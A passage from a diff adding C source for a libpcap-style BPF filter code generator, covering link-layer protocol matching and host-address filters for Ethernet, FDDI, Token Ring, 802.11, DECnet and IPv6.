802.2-encapsulated ETHERTYPE_AARP packets are + * SNAP packets with an organization code of + * 0x000000 (encapsulated Ethernet) and a protocol + * type of ETHERTYPE_AARP (Appletalk ARP). + */ + if (proto == ETHERTYPE_ATALK) + b1 = gen_snap(0x080007, ETHERTYPE_ATALK, + off_linktype + 2); + else /* proto == ETHERTYPE_AARP */ + b1 = gen_snap(0x000000, ETHERTYPE_AARP, + off_linktype + 2); + gen_and(b0, b1); + + /* + * Check for Ethernet encapsulation (Ethertalk + * phase 1?); we just check for the Ethernet + * protocol type. + */ + b0 = gen_cmp(off_linktype, BPF_H, (bpf_int32)proto); + + gen_or(b0, b1); + return b1; + + default: + if (proto <= ETHERMTU) { + /* + * This is an LLC SAP value, so the frames + * that match would be 802.2 frames. + * Check for the 802.2 protocol type + * in the "Ethernet type" field, and + * then check the DSAP. + */ + b0 = gen_cmp(off_linktype, BPF_H, + LINUX_SLL_P_802_2); + b1 = gen_cmp(off_linktype + 2, BPF_B, + (bpf_int32)proto); + gen_and(b0, b1); + return b1; + } else { + /* + * This is an Ethernet type, so compare + * the length/type field with it (if + * the frame is an 802.2 frame, the length + * field will be <= ETHERMTU, and, as + * "proto" is > ETHERMTU, this test + * will fail and the frame won't match, + * which is what we want). + */ + return gen_cmp(off_linktype, BPF_H, + (bpf_int32)proto); + } + } + break; + + case DLT_SLIP: + case DLT_SLIP_BSDOS: + case DLT_RAW: + /* + * These types don't provide any type field; packets + * are always IP. + * + * XXX - for IPv4, check for a version number of 4, and, + * for IPv6, check for a version number of 6? + */ + switch (proto) { + + case ETHERTYPE_IP: +#ifdef INET6 + case ETHERTYPE_IPV6: +#endif + return gen_true(); /* always true */ + + default: + return gen_false(); /* always false */ + } + break; + + case DLT_PPP: + case DLT_PPP_SERIAL: + case DLT_PPP_ETHER: + /* + * We use Ethernet protocol types inside libpcap; + * map them to the corresponding PPP protocol types. + */ + switch (proto) { + + case ETHERTYPE_IP: + proto = PPP_IP; /* XXX was 0x21 */ + break; + +#ifdef INET6 + case ETHERTYPE_IPV6: + proto = PPP_IPV6; + break; +#endif + + case ETHERTYPE_DN: + proto = PPP_DECNET; + break; + + case ETHERTYPE_ATALK: + proto = PPP_APPLE; + break; + + case ETHERTYPE_NS: + proto = PPP_NS; + break; + + case LLCSAP_ISONS: + proto = PPP_OSI; + break; + + case LLCSAP_8021D: + /* + * I'm assuming the "Bridging PDU"s that go + * over PPP are Spanning Tree Protocol + * Bridging PDUs. + */ + proto = PPP_BRPDU; + break; + + case LLCSAP_IPX: + proto = PPP_IPX; + break; + } + break; + + case DLT_PPP_BSDOS: + /* + * We use Ethernet protocol types inside libpcap; + * map them to the corresponding PPP protocol types. + */ + switch (proto) { + + case ETHERTYPE_IP: + b0 = gen_cmp(off_linktype, BPF_H, PPP_IP); + b1 = gen_cmp(off_linktype, BPF_H, PPP_VJC); + gen_or(b0, b1); + b0 = gen_cmp(off_linktype, BPF_H, PPP_VJNC); + gen_or(b1, b0); + return b0; + +#ifdef INET6 + case ETHERTYPE_IPV6: + proto = PPP_IPV6; + /* more to go? */ + break; +#endif + + case ETHERTYPE_DN: + proto = PPP_DECNET; + break; + + case ETHERTYPE_ATALK: + proto = PPP_APPLE; + break; + + case ETHERTYPE_NS: + proto = PPP_NS; + break; + + case LLCSAP_ISONS: + proto = PPP_OSI; + break; + + case LLCSAP_8021D: + /* + * I'm assuming the "Bridging PDU"s that go + * over PPP are Spanning Tree Protocol + * Bridging PDUs. + */ + proto = PPP_BRPDU; + break; + + case LLCSAP_IPX: + proto = PPP_IPX; + break; + } + break; + + case DLT_NULL: + case DLT_LOOP: + /* + * For DLT_NULL, the link-layer header is a 32-bit + * word containing an AF_ value in *host* byte order. + * + * In addition, if we're reading a saved capture file, + * the host byte order in the capture may not be the + * same as the host byte order on this machine. + * + * For DLT_LOOP, the link-layer header is a 32-bit + * word containing an AF_ value in *network* byte order. + * + * XXX - AF_ values may, unfortunately, be platform- + * dependent; for example, FreeBSD's AF_INET6 is 24 + * whilst NetBSD's and OpenBSD's is 26. + * + * This means that, when reading a capture file, just + * checking for our AF_INET6 value won't work if the + * capture file came from another OS. + */ + switch (proto) { + + case ETHERTYPE_IP: + proto = AF_INET; + break; + +#ifdef INET6 + case ETHERTYPE_IPV6: + proto = AF_INET6; + break; +#endif + + default: + /* + * Not a type on which we support filtering. + * XXX - support those that have AF_ values + * #defined on this platform, at least? + */ + return gen_false(); + } + + if (linktype == DLT_NULL) { + /* + * The AF_ value is in host byte order, but + * the BPF interpreter will convert it to + * network byte order. + * + * If this is a save file, and it's from a + * machine with the opposite byte order to + * ours, we byte-swap the AF_ value. + * + * Then we run it through "htonl()", and + * generate code to compare against the result. + */ + if (bpf_pcap->sf.rfile != NULL && + bpf_pcap->sf.swapped) + proto = SWAPLONG(proto); + proto = htonl(proto); + } + return (gen_cmp(0, BPF_W, (bpf_int32)proto)); + + case DLT_ARCNET: + /* + * XXX should we check for first fragment if the protocol + * uses PHDS? + */ + switch(proto) { + default: + return gen_false(); +#ifdef INET6 + case ETHERTYPE_IPV6: + return(gen_cmp(2, BPF_B, + (bpf_int32)htonl(ARCTYPE_INET6))); +#endif /* INET6 */ + case ETHERTYPE_IP: + b0 = gen_cmp(2, BPF_B, (bpf_int32)htonl(ARCTYPE_IP)); + b1 = gen_cmp(2, BPF_B, + (bpf_int32)htonl(ARCTYPE_IP_OLD)); + gen_or(b0, b1); + return(b1); + case ETHERTYPE_ARP: + b0 = gen_cmp(2, BPF_B, (bpf_int32)htonl(ARCTYPE_ARP)); + b1 = gen_cmp(2, BPF_B, + (bpf_int32)htonl(ARCTYPE_ARP_OLD)); + gen_or(b0, b1); + return(b1); + case ETHERTYPE_REVARP: + return(gen_cmp(2, BPF_B, + (bpf_int32)htonl(ARCTYPE_REVARP))); + case ETHERTYPE_ATALK: + return(gen_cmp(2, BPF_B, + (bpf_int32)htonl(ARCTYPE_ATALK))); + } + break; + + case DLT_LTALK: + switch (proto) { + case ETHERTYPE_ATALK: + return gen_true(); + default: + return gen_false(); + } + break; + + case DLT_FRELAY: + /* + * XXX - assumes a 2-byte Frame Relay header with + * DLCI and flags. What if the address is longer? + */ + switch (proto) { + + case ETHERTYPE_IP: + /* + * Check for the special NLPID for IP. + */ + return gen_cmp(2, BPF_H, (0x03<<8) | 0xcc); + +#ifdef INET6 + case ETHERTYPE_IPV6: + /* + * Check for the special NLPID for IPv6. + */ + return gen_cmp(2, BPF_H, (0x03<<8) | 0x8e); +#endif + + case LLCSAP_ISONS: + /* + * Check for several OSI protocols. + * + * Frame Relay packets typically have an OSI + * NLPID at the beginning; we check for each + * of them. + * + * What we check for is the NLPID and a frame + * control field of UI, i.e. 0x03 followed + * by the NLPID. + */ + b0 = gen_cmp(2, BPF_H, (0x03<<8) | ISO8473_CLNP); + b1 = gen_cmp(2, BPF_H, (0x03<<8) | ISO9542_ESIS); + b2 = gen_cmp(2, BPF_H, (0x03<<8) | ISO10589_ISIS); + gen_or(b1, b2); + gen_or(b0, b2); + return b2; + + default: + return gen_false(); + } + break; + } + + /* + * All the types that have no encapsulation should either be + * handled as DLT_SLIP, DLT_SLIP_BSDOS, and DLT_RAW are, if + * all packets are IP packets, or should be handled in some + * special case, if none of them are (if some are and some + * aren't, the lack of encapsulation is a problem, as we'd + * have to find some other way of determining the packet type). + * + * Therefore, if "off_linktype" is -1, there's an error. + */ + if (off_linktype == -1) + abort(); + + /* + * Any type not handled above should always have an Ethernet + * type at an offset of "off_linktype". (PPP is partially + * handled above - the protocol type is mapped from the + * Ethernet and LLC types we use internally to the corresponding + * PPP type - but the PPP type is always specified by a value + * at "off_linktype", so we don't have to do the code generation + * above.) + */ + return gen_cmp(off_linktype, BPF_H, (bpf_int32)proto); +} + +/* + * Check for an LLC SNAP packet with a given organization code and + * protocol type; we check the entire contents of the 802.2 LLC and + * snap headers, checking for DSAP and SSAP of SNAP and a control + * field of 0x03 in the LLC header, and for the specified organization + * code and protocol type in the SNAP header. + */ +static struct block * +gen_snap(orgcode, ptype, offset) + bpf_u_int32 orgcode; + bpf_u_int32 ptype; + u_int offset; +{ + u_char snapblock[8]; + + snapblock[0] = LLCSAP_SNAP; /* DSAP = SNAP */ + snapblock[1] = LLCSAP_SNAP; /* SSAP = SNAP */ + snapblock[2] = 0x03; /* control = UI */ + snapblock[3] = (orgcode >> 16); /* upper 8 bits of organization code */ + snapblock[4] = (orgcode >> 8); /* middle 8 bits of organization code */ + snapblock[5] = (orgcode >> 0); /* lower 8 bits of organization code */ + snapblock[6] = (ptype >> 8); /* upper 8 bits of protocol type */ + snapblock[7] = (ptype >> 0); /* lower 8 bits of protocol type */ + return gen_bcmp(offset, 8, snapblock); +} + +/* + * Check for a given protocol value assuming an 802.2 LLC header. + */ +static struct block * +gen_llc(proto) + int proto; +{ + /* + * XXX - handle token-ring variable-length header. + */ + switch (proto) { + + case LLCSAP_ISONS: + return gen_cmp(off_linktype, BPF_H, (long) + ((LLCSAP_ISONS << 8) | LLCSAP_ISONS)); + + case LLCSAP_NETBEUI: + return gen_cmp(off_linktype, BPF_H, (long) + ((LLCSAP_NETBEUI << 8) | LLCSAP_NETBEUI)); + + case LLCSAP_IPX: + /* + * XXX - are there ever SNAP frames for IPX on + * non-Ethernet 802.x networks? + */ + return gen_cmp(off_linktype, BPF_B, (bpf_int32)LLCSAP_IPX); + + case ETHERTYPE_ATALK: + /* + * 802.2-encapsulated ETHERTYPE_ATALK packets are + * SNAP packets with an organization code of + * 0x080007 (Apple, for Appletalk) and a protocol + * type of ETHERTYPE_ATALK (Appletalk). + * + * XXX - check for an organization code of + * encapsulated Ethernet as well? + */ + return gen_snap(0x080007, ETHERTYPE_ATALK, off_linktype); + + default: + /* + * XXX - we don't have to check for IPX 802.3 + * here, but should we check for the IPX Ethertype? + */ + if (proto <= ETHERMTU) { + /* + * This is an LLC SAP value, so check + * the DSAP. + */ + return gen_cmp(off_linktype, BPF_B, (bpf_int32)proto); + } else { + /* + * This is an Ethernet type; we assume that it's + * unlikely that it'll appear in the right place + * at random, and therefore check only the + * location that would hold the Ethernet type + * in a SNAP frame with an organization code of + * 0x000000 (encapsulated Ethernet). + * + * XXX - if we were to check for the SNAP DSAP and + * LSAP, as per XXX, and were also to check for an + * organization code of 0x000000 (encapsulated + * Ethernet), we'd do + * + * return gen_snap(0x000000, proto, + * off_linktype); + * + * here; for now, we don't, as per the above. + * I don't know whether it's worth the extra CPU + * time to do the right check or not. + */ + return gen_cmp(off_linktype+6, BPF_H, (bpf_int32)proto); + } + } +} + +static struct block * +gen_hostop(addr, mask, dir, proto, src_off, dst_off) + bpf_u_int32 addr; + bpf_u_int32 mask; + int dir, proto; + u_int src_off, dst_off; +{ + struct block *b0, *b1; + u_int offset; + + switch (dir) { + + case Q_SRC: + offset = src_off; + break; + + case Q_DST: + offset = dst_off; + break; + + case Q_AND: + b0 = gen_hostop(addr, mask, Q_SRC, proto, src_off, dst_off); + b1 = gen_hostop(addr, mask, Q_DST, proto, src_off, dst_off); + gen_and(b0, b1); + return b1; + + case Q_OR: + case Q_DEFAULT: + b0 = gen_hostop(addr, mask, Q_SRC, proto, src_off, dst_off); + b1 = gen_hostop(addr, mask, Q_DST, proto, src_off, dst_off); + gen_or(b0, b1); + return b1; + + default: + abort(); + } + b0 = gen_linktype(proto); + b1 = gen_mcmp(offset, BPF_W, (bpf_int32)addr, mask); + gen_and(b0, b1); + return b1; +} + +#ifdef INET6 +static struct block * +gen_hostop6(addr, mask, dir, proto, src_off, dst_off) + struct in6_addr *addr; + struct in6_addr *mask; + int dir, proto; + u_int src_off, dst_off; +{ + struct block *b0, *b1; + u_int offset; + u_int32_t *a, *m; + + switch (dir) { + + case Q_SRC: + offset = src_off; + break; + + case Q_DST: + offset = dst_off; + break; + + case Q_AND: + b0 = gen_hostop6(addr, mask, Q_SRC, proto, src_off, dst_off); + b1 = gen_hostop6(addr, mask, Q_DST, proto, src_off, dst_off); + gen_and(b0, b1); + return b1; + + case Q_OR: + case Q_DEFAULT: + b0 = gen_hostop6(addr, mask, Q_SRC, proto, src_off, dst_off); + b1 = gen_hostop6(addr, mask, Q_DST, proto, src_off, dst_off); + gen_or(b0, b1); + return b1; + + default: + abort(); + } + /* this order is important */ + a = (u_int32_t *)addr; + m = (u_int32_t *)mask; + b1 = gen_mcmp(offset + 12, BPF_W, ntohl(a[3]), ntohl(m[3])); + b0 = gen_mcmp(offset + 8, BPF_W, ntohl(a[2]), ntohl(m[2])); + gen_and(b0, b1); + b0 = gen_mcmp(offset + 4, BPF_W, ntohl(a[1]), ntohl(m[1])); + gen_and(b0, b1); + b0 = gen_mcmp(offset + 0, BPF_W, ntohl(a[0]), ntohl(m[0])); + gen_and(b0, b1); + b0 = gen_linktype(proto); + gen_and(b0, b1); + return b1; +} +#endif /*INET6*/ + +static struct block * +gen_ehostop(eaddr, dir) + register const u_char *eaddr; + register int dir; +{ + register struct block *b0, *b1; + + switch (dir) { + case Q_SRC: + return gen_bcmp(off_mac + 6, 6, eaddr); + + case Q_DST: + return gen_bcmp(off_mac + 0, 6, eaddr); + + case Q_AND: + b0 = gen_ehostop(eaddr, Q_SRC); + b1 = gen_ehostop(eaddr, Q_DST); + gen_and(b0, b1); + return b1; + + case Q_DEFAULT: + case Q_OR: + b0 = gen_ehostop(eaddr, Q_SRC); + b1 = gen_ehostop(eaddr, Q_DST); + gen_or(b0, b1); + return b1; + } + abort(); + /* NOTREACHED */ +} + +/* + * Like gen_ehostop, but for DLT_FDDI + */ +static struct block * +gen_fhostop(eaddr, dir) + register const u_char *eaddr; + register int dir; +{ + struct block *b0, *b1; + + switch (dir) { + case Q_SRC: +#ifdef PCAP_FDDIPAD + return gen_bcmp(6 + 1 + pcap_fddipad, 6, eaddr); +#else + return gen_bcmp(6 + 1, 6, eaddr); +#endif + + case Q_DST: +#ifdef PCAP_FDDIPAD + return gen_bcmp(0 + 1 + pcap_fddipad, 6, eaddr); +#else + return gen_bcmp(0 + 1, 6, eaddr); +#endif + + case Q_AND: + b0 = gen_fhostop(eaddr, Q_SRC); + b1 = gen_fhostop(eaddr, Q_DST); + gen_and(b0, b1); + return b1; + + case Q_DEFAULT: + case Q_OR: + b0 = gen_fhostop(eaddr, Q_SRC); + b1 = gen_fhostop(eaddr, Q_DST); + gen_or(b0, b1); + return b1; + } + abort(); + /* NOTREACHED */ +} + +/* + * Like gen_ehostop, but for DLT_IEEE802 (Token Ring) + */ +static struct block * +gen_thostop(eaddr, dir) + register const u_char *eaddr; + register int dir; +{ + register struct block *b0, *b1; + + switch (dir) { + case Q_SRC: + return gen_bcmp(8, 6, eaddr); + + case Q_DST: + return gen_bcmp(2, 6, eaddr); + + case Q_AND: + b0 = gen_thostop(eaddr, Q_SRC); + b1 = gen_thostop(eaddr, Q_DST); + gen_and(b0, b1); + return b1; + + case Q_DEFAULT: + case Q_OR: + b0 = gen_thostop(eaddr, Q_SRC); + b1 = gen_thostop(eaddr, Q_DST); + gen_or(b0, b1); + return b1; + } + abort(); + /* NOTREACHED */ +} + +/* + * Like gen_ehostop, but for DLT_IEEE802_11 (802.11 wireless LAN) + */ +static struct block * +gen_wlanhostop(eaddr, dir) + register const u_char *eaddr; + register int dir; +{ + register struct block *b0, *b1, *b2; + register struct slist *s; + + switch (dir) { + case Q_SRC: + /* + * Oh, yuk. + * + * For control frames, there is no SA. + * + * For management frames, SA is at an + * offset of 10 from the beginning of + * the packet. + * + * For data frames, SA is at an offset + * of 10 from the beginning of the packet + * if From DS is clear, at an offset of + * 16 from the beginning of the packet + * if From DS is set and To DS is clear, + * and an offset of 24 from the beginning + * of the packet if From DS is set and To DS + * is set. + */ + + /* + * Generate the tests to be done for data frames + * with From DS set. + * + * First, check for To DS set, i.e. check "link[1] & 0x01". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 1; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x01; /* To DS */ + b1->stmts = s; + + /* + * If To DS is set, the SA is at 24. + */ + b0 = gen_bcmp(24, 6, eaddr); + gen_and(b1, b0); + + /* + * Now, check for To DS not set, i.e. check + * "!(link[1] & 0x01)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 1; + b2 = new_block(JMP(BPF_JSET)); + b2->s.k = 0x01; /* To DS */ + b2->stmts = s; + gen_not(b2); + + /* + * If To DS is not set, the SA is at 16. + */ + b1 = gen_bcmp(16, 6, eaddr); + gen_and(b2, b1); + + /* + * Now OR together the last two checks. That gives + * the complete set of checks for data frames with + * From DS set. + */ + gen_or(b1, b0); + + /* + * Now check for From DS being set, and AND that with + * the ORed-together checks. + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 1; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x02; /* From DS */ + b1->stmts = s; + gen_and(b1, b0); + + /* + * Now check for data frames with From DS not set. + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 1; + b2 = new_block(JMP(BPF_JSET)); + b2->s.k = 0x02; /* From DS */ + b2->stmts = s; + gen_not(b2); + + /* + * If From DS isn't set, the SA is at 10. + */ + b1 = gen_bcmp(10, 6, eaddr); + gen_and(b2, b1); + + /* + * Now OR together the checks for data frames with + * From DS not set and for data frames with From DS + * set; that gives the checks done for data frames. + */ + gen_or(b1, b0); + + /* + * Now check for a data frame. + * I.e, check "link[0] & 0x08". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x08; + b1->stmts = s; + + /* + * AND that with the checks done for data frames. + */ + gen_and(b1, b0); + + /* + * If the high-order bit of the type value is 0, this + * is a management frame. + * I.e, check "!(link[0] & 0x08)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b2 = new_block(JMP(BPF_JSET)); + b2->s.k = 0x08; + b2->stmts = s; + gen_not(b2); + + /* + * For management frames, the SA is at 10. + */ + b1 = gen_bcmp(10, 6, eaddr); + gen_and(b2, b1); + + /* + * OR that with the checks done for data frames. + * That gives the checks done for management and + * data frames. + */ + gen_or(b1, b0); + + /* + * If the low-order bit of the type value is 1, + * this is either a control frame or a frame + * with a reserved type, and thus not a + * frame with an SA. + * + * I.e., check "!(link[0] & 0x04)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x04; + b1->stmts = s; + gen_not(b1); + + /* + * AND that with the checks for data and management + * frames. + */ + gen_and(b1, b0); + return b0; + + case Q_DST: + /* + * Oh, yuk. + * + * For control frames, there is no DA. + * + * For management frames, DA is at an + * offset of 4 from the beginning of + * the packet. + * + * For data frames, DA is at an offset + * of 4 from the beginning of the packet + * if To DS is clear and at an offset of + * 16 from the beginning of the packet + * if To DS is set. + */ + + /* + * Generate the tests to be done for data frames. + * + * First, check for To DS set, i.e. "link[1] & 0x01". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 1; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x01; /* To DS */ + b1->stmts = s; + + /* + * If To DS is set, the DA is at 16. + */ + b0 = gen_bcmp(16, 6, eaddr); + gen_and(b1, b0); + + /* + * Now, check for To DS not set, i.e. check + * "!(link[1] & 0x01)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 1; + b2 = new_block(JMP(BPF_JSET)); + b2->s.k = 0x01; /* To DS */ + b2->stmts = s; + gen_not(b2); + + /* + * If To DS is not set, the DA is at 4. + */ + b1 = gen_bcmp(4, 6, eaddr); + gen_and(b2, b1); + + /* + * Now OR together the last two checks. That gives + * the complete set of checks for data frames. + */ + gen_or(b1, b0); + + /* + * Now check for a data frame. + * I.e, check "link[0] & 0x08". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x08; + b1->stmts = s; + + /* + * AND that with the checks done for data frames. + */ + gen_and(b1, b0); + + /* + * If the high-order bit of the type value is 0, this + * is a management frame. + * I.e, check "!(link[0] & 0x08)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b2 = new_block(JMP(BPF_JSET)); + b2->s.k = 0x08; + b2->stmts = s; + gen_not(b2); + + /* + * For management frames, the DA is at 4. + */ + b1 = gen_bcmp(4, 6, eaddr); + gen_and(b2, b1); + + /* + * OR that with the checks done for data frames. + * That gives the checks done for management and + * data frames. + */ + gen_or(b1, b0); + + /* + * If the low-order bit of the type value is 1, + * this is either a control frame or a frame + * with a reserved type, and thus not a + * frame with an SA. + * + * I.e., check "!(link[0] & 0x04)". + */ + s = new_stmt(BPF_LD|BPF_B|BPF_ABS); + s->s.k = 0; + b1 = new_block(JMP(BPF_JSET)); + b1->s.k = 0x04; + b1->stmts = s; + gen_not(b1); + + /* + * AND that with the checks for data and management + * frames. + */ + gen_and(b1, b0); + return b0; + + case Q_AND: + b0 = gen_wlanhostop(eaddr, Q_SRC); + b1 = gen_wlanhostop(eaddr, Q_DST); + gen_and(b0, b1); + return b1; + + case Q_DEFAULT: + case Q_OR: + b0 = gen_wlanhostop(eaddr, Q_SRC); + b1 = gen_wlanhostop(eaddr, Q_DST); + gen_or(b0, b1); + return b1; + } + abort(); + /* NOTREACHED */ +} + +/* + * Like gen_ehostop, but for RFC 2625 IP-over-Fibre-Channel. + * (We assume that the addresses are IEEE 48-bit MAC addresses, + * as the RFC states.) + */ +static struct block * +gen_ipfchostop(eaddr, dir) + register const u_char *eaddr; + register int dir; +{ + register struct block *b0, *b1; + + switch (dir) { + case Q_SRC: + return gen_bcmp(10, 6, eaddr); + + case Q_DST: + return gen_bcmp(2, 6, eaddr); + + case Q_AND: + b0 = gen_ipfchostop(eaddr, Q_SRC); + b1 = gen_ipfchostop(eaddr, Q_DST); + gen_and(b0, b1); + return b1; + + case Q_DEFAULT: + case Q_OR: + b0 = gen_ipfchostop(eaddr, Q_SRC); + b1 = gen_ipfchostop(eaddr, Q_DST); + gen_or(b0, b1); + return b1; + } + abort(); + /* NOTREACHED */ +} + +/* + * This is quite tricky because there may be pad bytes in front of the + * DECNET header, and then there are two possible data packet formats that + * carry both src and dst addresses, plus 5 packet types in a format that + * carries only the src node, plus 2 types that use a different format and + * also carry just the src node. + * + * Yuck. + * + * Instead of doing those all right, we just look for data packets with + * 0 or 1 bytes of padding. If you want to look at other packets, that + * will require a lot more hacking. + * + * To add support for filtering on DECNET "areas" (network numbers) + * one would want to add a "mask" argument to this routine. That would + * make the filter even more inefficient, although one could be clever + * and not generate masking instructions if the mask is 0xFFFF. + */ +static struct block * +gen_dnhostop(addr, dir, base_off) + bpf_u_int32 addr; + int dir; + u_int base_off; +{ + struct block *b0, *b1, *b2, *tmp; + u_int offset_lh; /* offset if long header is received */ + u_int offset_sh; /* offset if short header is received */ + + switch (dir) { + + case Q_DST: + offset_sh = 1; /* follows flags */ + offset_lh = 7; /* flgs,darea,dsubarea,HIORD */ + break; + + case Q_SRC: + offset_sh = 3; /* follows flags, dstnode */ + offset_lh = 15; /* flgs,darea,dsubarea,did,sarea,ssub,HIORD */ + break; + + case Q_AND: + /* Inefficient because we do our Calvinball dance twice */ + b0 = gen_dnhostop(addr, Q_SRC, base_off); + b1 = gen_dnhostop(addr, Q_DST, base_off); + gen_and(b0, b1); + return b1; + + case Q_OR: + case Q_DEFAULT: + /* Inefficient because we do our Calvinball dance twice */ + b0 = gen_dnhostop(addr, Q_SRC, base_off); + b1 = gen_dnhostop(addr, Q_DST, base_off); + gen_or(b0, b1); + return b1; + + case Q_ISO: + bpf_error("ISO host filtering not implemented"); + + default: + abort(); + } + b0 = gen_linktype(ETHERTYPE_DN); + /* Check for pad = 1, long header case */ + tmp = gen_mcmp(base_off + 2, BPF_H, + (bpf_int32)ntohs(0x0681), (bpf_int32)ntohs(0x07FF)); + b1 = gen_cmp(base_off + 2 + 1 + offset_lh, + BPF_H, (bpf_int32)ntohs(addr)); + gen_and(tmp, b1); + /* Check for pad = 0, long header case */ + tmp = gen_mcmp(base_off + 2, BPF_B, (bpf_int32)0x06, (bpf_int32)0x7); + b2 = gen_cmp(base_off + 2 + offset_lh, BPF_H, (bpf_int32)ntohs(addr)); + gen_and(tmp, b2); + gen_or(b2, b1); + /* Check for pad = 1, short header case */ + tmp = gen_mcmp(base_off + 2, BPF_H, + (bpf_int32)ntohs(0x0281), (bpf_int32)ntohs(0x07FF)); + b2 = gen_cmp(base_off + 2 + 1 + offset_sh, + BPF_H, (bpf_int32)ntohs(addr)); + gen_and(tmp, b2); + gen_or(b2, b1); + /* Check for pad = 0, short header case */ + tmp = gen_mcmp(base_off + 2, BPF_B, (bpf_int32)0x02, (bpf_int32)0x7); + b2 = gen_cmp(base_off + 2 + offset_sh, BPF_H, (bpf_int32)ntohs(addr)); + gen_and(tmp, b2); + gen_or(b2, b1); + + /* Combine with test for linktype */ + gen_and(b0, b1); + return b1; +} + +static struct block * +gen_host(addr, mask, proto, dir) + bpf_u_int32 addr; + bpf_u_int32 mask; + int proto; + int dir; +{ + struct block *b0, *b1; + + switch (proto) { + + case Q_DEFAULT: + b0 = gen_host(addr, mask, Q_IP, dir); + if (off_linktype != -1) { + b1 = gen_host(addr, mask, Q_ARP, dir); + gen_or(b0, b1); + b0 = gen_host(addr, mask, Q_RARP, dir); + gen_or(b1, b0); + } + return b0; + + case Q_IP: + return gen_hostop(addr, mask, dir, ETHERTYPE_IP, + off_nl + 12, off_nl + 16); + + case Q_RARP: + return gen_hostop(addr, mask, dir, ETHERTYPE_REVARP, + off_nl + 14, off_nl + 24); + + case Q_ARP: + return gen_hostop(addr, mask, dir, ETHERTYPE_ARP, + off_nl + 14, off_nl + 24); + + case Q_TCP: + bpf_error("'tcp' modifier applied to host"); + + case Q_SCTP: + bpf_error("'sctp' modifier applied to host"); + + case Q_UDP: + bpf_error("'udp' modifier applied to host"); + + case Q_ICMP: + bpf_error("'icmp' modifier applied to host"); + + case Q_IGMP: + bpf_error("'igmp' modifier applied to host"); + + case Q_IGRP: + bpf_error("'igrp' modifier applied to host"); + + case Q_PIM: + bpf_error("'pim' modifier applied to host"); + + case Q_VRRP: + bpf_error("'vrrp' modifier applied to host"); + + case Q_ATALK: + bpf_error("ATALK host filtering not implemented"); + + case Q_AARP: + bpf_error("AARP host filtering not implemented"); + + case Q_DECNET: + return gen_dnhostop(addr, dir, off_nl); + + case Q_SCA: + bpf_error("SCA host filtering not implemented"); + + case Q_LAT: + bpf_error("LAT host filtering not implemented"); + + case Q_MOPDL: + bpf_error("MOPDL host filtering not implemented"); + + case Q_MOPRC: + bpf_error("MOPRC host filtering not implemented"); + +#ifdef INET6 + case Q_IPV6: + bpf_error("'ip6' modifier applied to ip host"); + + case Q_ICMPV6: + bpf_error("'icmp6' modifier applied to host"); +#endif /* INET6 */ + + case Q_AH: + bpf_error("'ah' modifier applied to host"); + + case Q_ESP: + bpf_error("'esp' modifier applied to host"); + + case Q_ISO: + bpf_error("ISO host filtering not implemented"); + + case Q_ESIS: + bpf_error("'esis' modifier applied to host"); + + case Q_ISIS: + bpf_error("'isis' modifier applied to host"); + + case Q_CLNP: + bpf_error("'clnp' modifier applied to host"); + + case Q_STP: + bpf_error("'stp' modifier applied to host"); + + case Q_IPX: + bpf_error("IPX host filtering not implemented"); + + case Q_NETBEUI: + bpf_error("'netbeui' modifier applied to host"); + + default: + abort(); + } + /* NOTREACHED */ +} + +#ifdef INET6 +static struct block * +gen_host6(addr, mask, proto, dir) + struct in6_addr *addr; + struct in6_addr *mask; + int proto; + int dir; +{ + switch (proto) { + + case Q_DEFAULT: + return gen_host6(addr, mask, Q_IPV6, dir); + + case Q_IP: + bpf_error("'ip' modifier applied to ip6 host"); + + case Q_RARP: + bpf_error("'rarp' modifier applied to ip6 host"); + + case Q_ARP: + bpf_error("'arp' modifier applied to ip6 host"); + + case Q_SCTP: + bpf_error("'sctp' modifier applied to host"); + + case Q_TCP: + bpf_error("'tcp' modifier applied to host"); + + case Q_UDP: + bpf_error("'udp' modifier applied to host"); + + case Q_ICMP: + bpf_error("'icmp' modifier applied to host"); + + case Q_IGMP: + bpf_error("'igmp' modifier applied to host"); + + case Q_IGRP: + bpf_error("'igrp' modifier applied to host"); + + case Q_PIM: + bpf_error("'pim' modifier applied to host"); + + case Q_VRRP: + bpf_error("'vrrp' modifier applied to host"); + + case Q_ATALK: + bpf_error("ATALK host filtering not implemented"); + + case Q_AARP: + bpf_error("AARP host filtering not implemented"); + + case Q_DECNET: + bpf_error("'decnet' modifier applied to ip6 host"); + + case Q_SCA: + bpf_error("SCA host filtering not implemented"); + + case Q_LAT: + bpf_error("LAT host filtering not implemented"); + + case Q_MOPDL: + bpf_error("MOPDL host filtering not implemented"); + + case Q_MOPRC: + bpf_error("MOPRC host filtering not implemented"); + + case Q_IPV6: + return gen_hostop6(addr, mask, dir, ETHERTYPE_IPV6, + off_nl + 8, off_nl + 24); + + case Q_ICMPV6: + bpf_error("'icmp6' modifier applied to host"); + + case Q_AH: + bpf_error("'ah' modifier applied to host"); + + case Q_ESP: + bpf_error("'esp' modifier applied to host"); + + case Q_ISO: + bpf_error("ISO host filtering not implemented"); + + case Q_ESIS: + bpf_error("'esis' modifier applied to host"); + + case Q_ISIS: + bpf_error("'isis' modifier applied to host"); + + case Q_CLNP: + bpf_error("'clnp' modifier applied to host"); + + case Q_STP: + bpf_error("'stp' modifier applied to host"); + + case Q_IPX: + bpf_error("IPX host filtering not implemented"); + + case Q_NETBEUI: + bpf_error("'netbeui' modifier applied to host"); + + default: + abort(); + } 